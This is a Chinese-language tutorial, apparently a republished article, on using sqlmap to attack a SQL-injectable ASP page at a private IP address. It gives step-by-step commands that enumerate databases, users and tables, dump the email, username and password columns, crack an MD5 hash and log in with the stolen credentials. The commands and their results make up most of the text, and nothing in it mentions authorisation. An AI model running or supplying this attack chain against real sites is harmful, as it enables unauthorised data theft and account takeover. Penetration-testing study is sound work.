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這篇文章主要介紹滲透測試工具sqlmap怎么用,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134"
參數:
-u:指定注入點url
注入結果展示:
(1)注入參數id為GET注入,注入類型有四種分別為:boolean-based blind、error-based、stacked queries、inline query。
(2)web服務器系統為windows 2003 or XP
(3)web應用程序技術為:ASP.NET, Microsoft IIS 6.0
(4)數據庫類型為:SQLSERVER 2000
其中圖一有若干詢問語句,需要用戶輸入[Y/N],如果你懶得輸入或者不懂怎么輸入可以讓程序自動輸入,只需添加一個參數即可,命令如下:
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --batch
一條命令即可曝出該sqlserver中所有數據庫名稱,命令如下:
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --dbs
參數:
--dbs:dbs前面有兩條杠,請看清楚。
結果顯示該sqlserver中共包含7個可用的數據庫。
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-db
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-user
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --users
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --passwords
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata --tables
參數:
-D:指定數據庫名稱
--tables:列出表
結果體現共列出了34張表。
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb --columns
參數:
-D:指定數據庫名稱
-T:指定要列出字段的表
--columns:指定列出字段
結果顯示該userb表中包含了23條字段。
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --dump
參數:
-C :指定要暴的字段
--dump:將結果導出
如果字段內容太多,需要花費很多時間。可以指定導出特定范圍的字段內容,命令如下:
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump
參數:
--start:指定開始的行
--stop:指定結束的行
此條命令的含義為:導出數據庫tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數據內容。
通過上圖結果看到其中的一個用戶信息為:
email:123456@qq.com
username: 1.asp
password: 49ba59abbe56e057
通過md5解密,得到該hash的原文密碼為:123456
拿到賬號密碼我們來測試是否可以登錄
驗證成功!
以上是“滲透測試工具sqlmap怎么用”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!
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